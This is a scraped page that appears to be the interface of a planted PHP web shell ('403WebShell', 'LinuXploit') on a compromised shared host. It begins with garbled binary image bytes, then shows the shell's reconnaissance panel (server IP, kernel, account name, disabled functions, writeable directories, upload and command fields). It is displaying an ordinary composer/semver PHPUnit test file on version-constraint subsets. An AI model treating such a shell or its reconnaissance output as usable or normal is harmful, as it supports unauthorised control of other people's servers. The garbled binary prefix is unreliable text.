JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.145  /  Your IP : 216.73.216.122
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/.wp-cli/packages/vendor/composer/semver/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/.wp-cli/packages/vendor/composer/semver/tests//SubsetsTest.php
<?php

/*
 * This file is part of composer/semver.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\Semver;

use PHPUnit\Framework\TestCase;
use Composer\Semver\Constraint\MatchNoneConstraint;
use Composer\Semver\Constraint\MatchAllConstraint;

class SubsetsTest extends TestCase
{
    /**
     * @dataProvider subsets
     * @param string $aStr
     * @param string $bStr
     */
    public function testIsSubsetOf($aStr, $bStr)
    {
        $versionParser = new VersionParser;
        $a = $versionParser->parseConstraints($aStr);
        $b = $versionParser->parseConstraints($bStr);

        $this->assertTrue(Intervals::isSubsetOf($a, $b), $aStr.' ('.$a.') should be seen as a subset of '.$bStr.' ('.$b.')');
    }

    /**
     * @return array<mixed>
     */
    public static function subsets()
    {
        return array(
            // x is subset of y
            array('*',               '*'),
            array('*',               '!= 1 || == 1'),
            array('1.0.0',           '*'),
            array('1.0.*',           '*'),
            array('^1.0 || ^2.0',    '*'),
            array('^3.0',            '^3.2 || *'),
            array('^1.0 || ^2.0',    '^1.0 || ^2.0'),
            array('^1.0 || ^2.0',    '^1.0 || ^2.0 || ^4.0'),
            array('^1.0 || ^2.1',    '^1.0 || ^2.1 || ^4.0'),
            array('^1.2',            '^1.0 || ^2.0'),
            array('1.2.3',           '^1.0 || ^2.0'),
            array('2.0.0-dev',       '^1.0 || ^2.0'),
            array('>= 2.1.0',        '>= 2.0.0'),
            array('^2.0',            '<3.0.0'),
            array('^3.0',            '> 2.1.3'),
            array('3.0.0',           '<= 3.0.0'),
            array('!= 3.0.0',        '*'),
            array('!= 3.0.0',        '!= 3.0'),
            array('!= 3.0, != 2.0',  '!= 2.0, != 3.0'),
            array('>3',              '^2 || ^3 || >=4'),
            array('>3',              '>=3'),
            array('<3',              '<=3'),
            array('= dev-foo',       '= dev-foo'),
            array('!= dev-foo',      '!= dev-foo'),
            array('< dev-foo',       '= dev-foo'), // invalid range matches nothing so is a subset of any other
            array('1.5.*',           '^1.4'),
            array('1.5.*',           '1.3 - 1.6 || 1.8 - 1.9'),
            array('1.3.2',           '1.3.0 || 1.3.1 || 1.3.2'),
            array('1.3.1',           '1.3.0 || 1.3.1 || 1.3.2'),
            array('1.3.1 || 1.3.1',  '1.3.1'),
            array('^1.0 || ^3.2',    '^1.0 || ^3.0'),
            array('^1.3 || ^3.2',    '>1.2'),
            array('^1.6',            '<1.3 || >1.5'),
            array('>1.6',            '<1.3 || >1.5'),
            array('>1.6',            '>1.5, >1.4, !=1.1'),
            array('>1.6',            '>1.5 || >1.7'),
            array('^1.1',            '> 1.0.0'),
            array('^1.1, !=1.5.0',   '> 1.0.0'),
            array('^1.1, !=0.5.0',   '> 1.0.0'),
            array('^2.0 || dev-foo', '> 1.0 || dev-foo || dev-bar'),
            array('^1.0, ^1.2',      '>=1.2'),
            array('^1.0, ^1.2',      '^1.2'),
            array('^1.0, ^1.2 || ^1.3', '^1.2'),
        );
    }

    /**
     * @dataProvider notSubsets
     * @param string $aStr
     * @param string $bStr
     */
    public function testIsNotSubsetOf($aStr, $bStr)
    {
        $versionParser = new VersionParser;
        $a = $versionParser->parseConstraints($aStr);
        $b = $versionParser->parseConstraints($bStr);

        $this->assertFalse(Intervals::isSubsetOf($a, $b), $aStr.' ('.$a.') should not be seen as a subset of '.$bStr.' ('.$b.')');
    }

    /**
     * @return array<mixed>
     */
    public static function notSubsets()
    {
        return array(
            // x is subset of y
            array('*',               '>= 1 || < 1'), // it is a subset of the numeric interval, but * allows dev- branches while the latter does not
            array('*',               '1.0.0'),
            array('*',               '1.0.*'),
            array('*',               '^1.0 || ^2.0'),
            array('^1.0 || ^2.0',    '^1.0, ^2.0'), // buggy constraint on the right here, checking it does not match
            array('^1.0 || ^2.0',    '^1.2'),
            array('^1.0 || ^2.0',    '^1.0'),
            array('^1.0 || ^2.0',    '1.2.3'),
            array('^1.0 || ^3.0',    '1.2.3'),
            array('3.0.0',           '^1.0 || ^2.0'),
            array('3.0.0',           '< 3.0.0'),
            array('3.0.0',           '>= 3.0.1'),
            array('!= 3.0.0',        '> 3.0.0 || < 3.0.0-stable'), // it is a subset of the numeric interval, but != x allows dev- branches while the right side does not
            array('!= 3.0.0-dev',    '^2.0 || <2 || >3.0-dev'), // it is a subset of the numeric interval, but != x allows dev- branches while the right side does not
            array('!= 3.0.0',        '= 3.0.0'),
            array('!= 3.0.0',        '!= 3.0.1'),
            array('!= 3.0.0',        'dev-foo || dev-bar'),
            array('!= 3.0.0',        '<dev-foo || >dev-bar'),
            array('>= 1.0.0',        '= 1.2.3'),
            array('< 2.0.0',         '= 1.2.3'),
            array('>3',              '^2 || ^3 || >4'),
            array('>=3',             '>3'),
            array('<=3',             '<3'),
            array('^2.1',            '^2.0, !=2.1.3'),
            array('<2.0',            '>=1.1'),
            array('!= dev-foo',      '!= dev-bar'),
            array('!= dev-foo',      '= dev-bar'),
            array('1.3.3',           '1.3.0 || 1.3.1 || 1.3.2'),
            array('1.3.1 || 1.3.2',  '1.3.1'),
            array('>1.6',            '>1.5, >1.4, !=1.7'),
            array('>1.6',            '>1.5, >1.7'),
            array('^1.0 || ^3.2',    '^1.2 || ^3.0'),
            array('^1.0 || ^3.2',    '^3.0'),
            array('^1.3 || ^3.2',    '>1.4'),
            array('^2.0 || dev-foo', '> 1.0 || dev-bar'),
        );
    }

    public function testMatchNoneIsNoSubsetNorSupersetExceptOfMatchAll()
    {
        $versionParser = new VersionParser;
        $matchNone = new MatchNoneConstraint;

        $notSubsets = array(
            '1.0.0',
            '^1.0',
            '>3',
            '<3',
            'dev-foo',
            '!= 1',
            '!= dev-foo',
            '<= dev-foo',
        );
        foreach ($notSubsets as $constraint) {
            $c = $versionParser->parseConstraints($constraint);
            $this->assertFalse(Intervals::isSubsetOf($c, $matchNone), $constraint.' ('.$c.') should not be seen as a subset of '.$matchNone);
            $this->assertFalse(Intervals::isSubsetOf($matchNone, $c), $matchNone.' should not be seen as a subset of '.$constraint.' ('.$c.')');
        }

        $empty = new MatchAllConstraint;
        $this->assertFalse(Intervals::isSubsetOf($empty, $matchNone), $empty.' should not be seen as a subset of '.$matchNone);
        $this->assertTrue(Intervals::isSubsetOf($matchNone, $empty), $matchNone.' should be seen as a subset of '.$empty);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit